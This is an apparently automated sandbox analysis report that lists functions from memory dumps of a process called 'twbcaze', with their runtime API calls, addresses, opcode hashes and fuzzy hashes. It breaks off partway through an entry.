Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 24d9f12c9ff9318025bbd53b0fa2a750c21dd6420c05e1eb61f8585562132174
Instruction ID: 33417a5631a89835e57847a0522a29cad8df5ea76d98ba4df800e8099a0f39a2
Opcode Fuzzy Hash: 24d9f12c9ff9318025bbd53b0fa2a750c21dd6420c05e1eb61f8585562132174
Instruction Fuzzy Hash: 5111C63B2007015FDB18AF39C8916BAB792FF84358B58443EE98A47B40D379B947C744

Uniqueness

Uniqueness Score: -1.00%

Function 0041FE96 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0041AE68: GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
Part of subcall function 0041AE68: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

Part of subcall function 0041AE68: _free.LIBCMT ref: 0041AECA
Part of subcall function 0041AE68: _free.LIBCMT ref: 0041AF00

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0041FEEA

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 073bf57e617ead7743a03dbd9fae7aa9d6ccc20203289cd0083fcc093794edca
Instruction ID: d06322da41f1ea895bfa6be50a63a5708ed325d3cac85478186cb447edbad442
Opcode Fuzzy Hash: 073bf57e617ead7743a03dbd9fae7aa9d6ccc20203289cd0083fcc093794edca
Instruction Fuzzy Hash: AF11C672601216ABDB14AB65DC42AFA73E8EF09314B10407FF901D7241EBBCED86C758

Uniqueness

Uniqueness Score: -1.00%

Function 00420043 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 0041AE68: GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
Part of subcall function 0041AE68: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0041FCE0,00000000,00000000,?), ref: 0042006F

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 18fdc5c88f8a52bb8aa12cdd676a1fb474123b5ac98d72e7010630e7c620e3f3
Instruction ID: c67510dd7e706448ece52ebd5ecb31bc795c76781afd46c53c550107c917c88e
Opcode Fuzzy Hash: 18fdc5c88f8a52bb8aa12cdd676a1fb474123b5ac98d72e7010630e7c620e3f3
Instruction Fuzzy Hash: 66F0F9327001216BEB285665A805BBB77E4EB40754F44442AED46A3242EA38FD41C694

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD17 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE68: GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
Part of subcall function 0041AE68: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

EnumSystemLocalesW.KERNEL32(0041FD76,00000001,?,?,-00000050,?,0041F877,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 0041FD61

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 6ae71a939a11522df4327ded550d35403f0a03c9b9b2aeabd82d0e6ff0f994b9
Instruction ID: a5256b6c35e63d2cb6e3f0b65d5a0dd39432498f0cacc1524f5fae9b2dc4f453
Opcode Fuzzy Hash: 6ae71a939a11522df4327ded550d35403f0a03c9b9b2aeabd82d0e6ff0f994b9
Instruction Fuzzy Hash: FDF046763007041FCB246F39A881ABA7B91EF8036CF15853EFA464B690D3B9AC83C704

Uniqueness

Uniqueness Score: -1.00%

Function 0041BC92 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00415904: EnterCriticalSection.KERNEL32(?,?,004134D6,00000000,0042F7D0,0000000C,0041348E,00000000,?,0041BD76,00000000,?,0041B00A,00000001,00000364,00000005), ref: 00415913

EnumSystemLocalesW.KERNEL32(0041BC85,00000001,0042FA90,0000000C,0041B69D,-00000050), ref: 0041BCCA

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 953393844af8742a9b13e35552c88550bb13006f42a261988265060d34067cbe
Instruction ID: c155d4f6f69a32a9f33b35c0b87616374ac339cdffedb24db3d0b567afc0008f
Opcode Fuzzy Hash: 953393844af8742a9b13e35552c88550bb13006f42a261988265060d34067cbe
Instruction Fuzzy Hash: 18F04972A00205DFD714EFA9E802B9C77F0FB08725F10813BF4159B2A0DBB959448F88

Uniqueness

Uniqueness Score: -1.00%

Function 0041FE4B Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE68: GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
Part of subcall function 0041AE68: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

EnumSystemLocalesW.KERNEL32(0041FE96,00000001,?,?,?,0041F8D5,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 0041FE82

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 50cf606f12fb6068bb740480a684c40f42bd637fc16ac47e8b4177ad5752fd96
Instruction ID: 5d494e22a839b8941f7a5cf9bad4199b12191afd7fddc6f0321c008e8b6c3cc5
Opcode Fuzzy Hash: 50cf606f12fb6068bb740480a684c40f42bd637fc16ac47e8b4177ad5752fd96
Instruction Fuzzy Hash: 90F055363003055BCB04AF36C8057AA7F90FFC1B20F4A446AEA098B661C279D883C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7A1 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00414A3E,?,20001004,00000000,00000002,?,?,0041394F), ref: 0041B7D5

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e48499ab266b0892f3b4504df124296d4778d481d906684320cb99722dabcb31
Instruction ID: 124347de3793c581400af35f8a4421bdb06ed394f8b1b239c189508931d0d36e
Opcode Fuzzy Hash: e48499ab266b0892f3b4504df124296d4778d481d906684320cb99722dabcb31
Instruction Fuzzy Hash: 2BE04F31500218BBCF122F62EC04EEE3E25FF84B61F044426FD15A5660CB359961AAD9

Uniqueness

Uniqueness Score: -1.00%

Function 0041C365 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0041C365

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 30de50f748e8ccd228dd1156b15e34f2bb26469e6733cbd956434a7405b5d96c
Instruction ID: 6241e0b94bbbb734d1e683d2b47e32f90ed8bb3b58815520b7333dd1b4e06813
Opcode Fuzzy Hash: 30de50f748e8ccd228dd1156b15e34f2bb26469e6733cbd956434a7405b5d96c
Instruction Fuzzy Hash: 1FA002706051418B57504F3659456097B9956456D174950795405C5160D73485955F05

Uniqueness

Uniqueness Score: -1.00%

Function 0023017B Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a074607bc74a68e46ffcf8def79e123d6f3babf0396bd4cc77b36b90dcd7b6b
Instruction ID: acf7f74089822b6f94aade79d7545bdb6bfceaa2a25a1c2d654adb3873f0154f
Opcode Fuzzy Hash: 6a074607bc74a68e46ffcf8def79e123d6f3babf0396bd4cc77b36b90dcd7b6b
Instruction Fuzzy Hash: B611A076620119AFC720EF69C8D0DAAB7E9EF147A4B008015FC58CB214E334ED91C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0023013E Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec8e751651157bc76042a6f737d25c3298a3c098193b98f67a4d4adab9605e7b
Instruction ID: 3ad2d8396a0310092979d8f36f3c8edb01107a5bffa56ac273248249f14a4264
Opcode Fuzzy Hash: ec8e751651157bc76042a6f737d25c3298a3c098193b98f67a4d4adab9605e7b
Instruction Fuzzy Hash: 99E06576264149AF8B04CBA8C891D25B3E8EB08720F140290F829C72A0E634FE009A60

Uniqueness

Uniqueness Score: -1.00%

Function 00230109 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c979a1a0daa279b65c5726769cbc87c4fd01d1be4397ac1552cbcc502d36f8
Instruction ID: a69375c47d1dbbb6acb626a6b153f78f779abe24d03dbacf762cb5b0bf713597
Opcode Fuzzy Hash: 14c979a1a0daa279b65c5726769cbc87c4fd01d1be4397ac1552cbcc502d36f8
Instruction Fuzzy Hash: 36E04F722306159BCB619F59C890D96F7E8EB88BB0F494465ED8D97610C230FC21CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041DCB5 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68457055e56309d6262ebd5acc5efa2faa3e58b259cde901b40cef7cc98de610
Instruction ID: 73902aca3737ebb6aa25cc0b46af761766ced4a855fb01478713d698906d9789
Opcode Fuzzy Hash: 68457055e56309d6262ebd5acc5efa2faa3e58b259cde901b40cef7cc98de610
Instruction Fuzzy Hash: 7FE08CB2E11228EBCB14DB89C904DCAF3FCEB44B04B11089BB501E3210D2B4DE40DBD4

Uniqueness

Uniqueness Score: -1.00%

Function 0023005F Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Function 00412AB2 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00412B21
_free.LIBCMT ref: 00412B37
_free.LIBCMT ref: 00412B4A
_free.LIBCMT ref: 00412B5F
_free.LIBCMT ref: 00412B74
GetCPInfo.KERNEL32(?,?), ref: 00412BBE

Part of subcall function 0041BDA0: _free.LIBCMT ref: 0041BE0B

_free.LIBCMT ref: 00412E29
_free.LIBCMT ref: 00412E3C
_free.LIBCMT ref: 00412E4A
_free.LIBCMT ref: 00412E55
_free.LIBCMT ref: 00412E97
_free.LIBCMT ref: 00412E9F
_free.LIBCMT ref: 00412EA5
_free.LIBCMT ref: 00412EAD
_free.LIBCMT ref: 00412EBB

Strings

xxB, xrefs: 00412EE6

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID: xxB
API String ID: 2509303402-3667342264
Opcode ID: 074cf2043d39f6f2a2ec9d745427b168db315ed45b2c7f53f00f735fe0ca8dd9
Instruction ID: c2d8d3651b6b28aa8005530c5d340ea9be875caa29cb56d7d51320ee634d503d
Opcode Fuzzy Hash: 074cf2043d39f6f2a2ec9d745427b168db315ed45b2c7f53f00f735fe0ca8dd9
Instruction Fuzzy Hash: 3DD19B719003059FDB21CF69C981BEEBBB5FF08304F14442AE499E7382E7B8A895CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0041EC40 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041EC84

Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E0B9
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E0CB
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E0DD
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E0EF
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E101
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E113
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E125
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E137
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E149
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E15B
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E16D
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E17F
Part of subcall function 0041E09C: _free.LIBCMT ref: 0041E191

_free.LIBCMT ref: 0041EC79

Part of subcall function 0041AC67: HeapFree.KERNEL32(00000000,00000000), ref: 0041AC7D
Part of subcall function 0041AC67: GetLastError.KERNEL32(?,?,0041E816,?,00000000,?,?,?,0041E4A5,?,00000007,?,?,0041EE00,?,?), ref: 0041AC8F

_free.LIBCMT ref: 0041EC9B
_free.LIBCMT ref: 0041ECB0
_free.LIBCMT ref: 0041ECBB
_free.LIBCMT ref: 0041ECDD
_free.LIBCMT ref: 0041ECF0
_free.LIBCMT ref: 0041ECFE
_free.LIBCMT ref: 0041ED09
_free.LIBCMT ref: 0041ED41
_free.LIBCMT ref: 0041ED48
_free.LIBCMT ref: 0041ED65
_free.LIBCMT ref: 0041ED7D

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 2f63ca63c716220c0d4c04e40e5c3921a93d5613798f77c49c018e1ffe0315b8
Instruction ID: 1354addf16a3f454c898ff0f6fc87204fce7f1d58647e8555d413b2f4aaee27c
Opcode Fuzzy Hash: 2f63ca63c716220c0d4c04e40e5c3921a93d5613798f77c49c018e1ffe0315b8
Instruction Fuzzy Hash: 0E314F356006019FEB20AA37E989BD777E9AF00714F14481FE899D7351FB39ACD08759

Uniqueness

Uniqueness Score: -1.00%

Function 0041DCE6 Relevance: 18.4, APIs: 12, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041DD2E
_free.LIBCMT ref: 0041DD52
_free.LIBCMT ref: 0041DD5F
_free.LIBCMT ref: 0041DD84
_free.LIBCMT ref: 0041DD91
_free.LIBCMT ref: 0041DD9A
_free.LIBCMT ref: 0041E074
_free.LIBCMT ref: 0041E07C

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 2b9d407d24ff1b8dec256710db979ec8f0cbb5ed3a25258f5c8cd2a44b96bc88
Instruction ID: b0d49b581f4b3d539ad23d3e3bf310c071c4d5c23ef4697934c88d36206c30af
Opcode Fuzzy Hash: 2b9d407d24ff1b8dec256710db979ec8f0cbb5ed3a25258f5c8cd2a44b96bc88
Instruction Fuzzy Hash: CAC13776D40208AFDB60DBA9DC82FDE77F8DF48704F144156FA09FB282E674998187A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B179 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041B18F

Part of subcall function 0041AC67: HeapFree.KERNEL32(00000000,00000000), ref: 0041AC7D
Part of subcall function 0041AC67: GetLastError.KERNEL32(?,?,0041E816,?,00000000,?,?,?,0041E4A5,?,00000007,?,?,0041EE00,?,?), ref: 0041AC8F

_free.LIBCMT ref: 0041B19B
_free.LIBCMT ref: 0041B1A6
_free.LIBCMT ref: 0041B1B1
_free.LIBCMT ref: 0041B1BC
_free.LIBCMT ref: 0041B1C7
_free.LIBCMT ref: 0041B1D2
_free.LIBCMT ref: 0041B1DD
_free.LIBCMT ref: 0041B1E8
_free.LIBCMT ref: 0041B1F6

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3e7033108ade06db584e8432f0547c342aec702f3ac772aaa39963706a8954a4
Instruction ID: 313df82ac784d9d70091db3946e8ce5e55387cd0b564fa3fba2dc80b75e65f58
Opcode Fuzzy Hash: 3e7033108ade06db584e8432f0547c342aec702f3ac772aaa39963706a8954a4
Instruction Fuzzy Hash: E521E776900108AFCB01EF95C885DDE7BB8FF08744F0485AAF5199B621EB35EA94CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0041A2F7 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0041A416
CatchIt.LIBVCRUNTIME ref: 0041A575
_UnwindNestedFrames.LIBCMT ref: 0041A676
CallUnexpected.LIBVCRUNTIME ref: 0041A691

Strings

hlB, xrefs: 0041A40D
csm, xrefs: 0041A3A1
csm, xrefs: 0041A334
csm, xrefs: 0041A44D

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$hlB
API String ID: 2332921423-3326005231
Opcode ID: e6989ae63762e0012af0327cfa4b957421d7abe09db2198d338f7d8fbbd44a32
Instruction ID: bf0c53ec1af481c16f39fe073d22349b7d07ad32e212adfb76973616b0a1cfb0
Opcode Fuzzy Hash: e6989ae63762e0012af0327cfa4b957421d7abe09db2198d338f7d8fbbd44a32
Instruction Fuzzy Hash: 09B17871801209EFCF29DFA5C9819EEB7B5BF04314F14405BE8556B202E778DEA1CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041E19A Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041E208
_free.LIBCMT ref: 0041E214
_free.LIBCMT ref: 0041E33D
_free.LIBCMT ref: 0041E348

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 66f943d6fdb951f6ca5dc843215ade34feb826fafe0645fe4b26fdabc9c29dc0
Instruction ID: 84f6f0aa1e8644ddc0539ed4e746025fb0e3a19bbe4d1f7f3da16a2951e0159e
Opcode Fuzzy Hash: 66f943d6fdb951f6ca5dc843215ade34feb826fafe0645fe4b26fdabc9c29dc0
Instruction Fuzzy Hash: 7961C0759003059FDB20DF76C881BEBB7E8AB48710F14446BED59EB281FB74A9808B95

Uniqueness

Uniqueness Score: -1.00%

Function 0040FA92 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0040FADB
__alloca_probe_16.LIBCMT ref: 0040FB07
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000,?,?,?,?,?,?,004047EE), ref: 0040FB46
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,004047EE), ref: 0040FB63
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,004047EE), ref: 0040FBA2
__alloca_probe_16.LIBCMT ref: 0040FBBF
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,004047EE), ref: 0040FC01
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,?,?,?,?,?,?,004047EE), ref: 0040FC24

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: c7f0382c200de1288c457e93c00c638dbe007d1ecd4d41b60b9608ac7cb25e35
Instruction ID: e1417c7bff74048c17493f3a773e66c8f2280b5088370d863b7d16ceba90c4e7
Opcode Fuzzy Hash: c7f0382c200de1288c457e93c00c638dbe007d1ecd4d41b60b9608ac7cb25e35
Instruction Fuzzy Hash: 23517F7261020AABEB309F51CC46FAB7BB9EF44754F14403ABD05F6690D738AC59CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00410A60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00410A97
___except_validate_context_record.LIBVCRUNTIME ref: 00410A9F
_ValidateLocalCookies.LIBCMT ref: 00410B28
__IsNonwritableInCurrentImage.LIBCMT ref: 00410B53
_ValidateLocalCookies.LIBCMT ref: 00410BA8

Strings

csm, xrefs: 00410B3D

Memory Dump Source

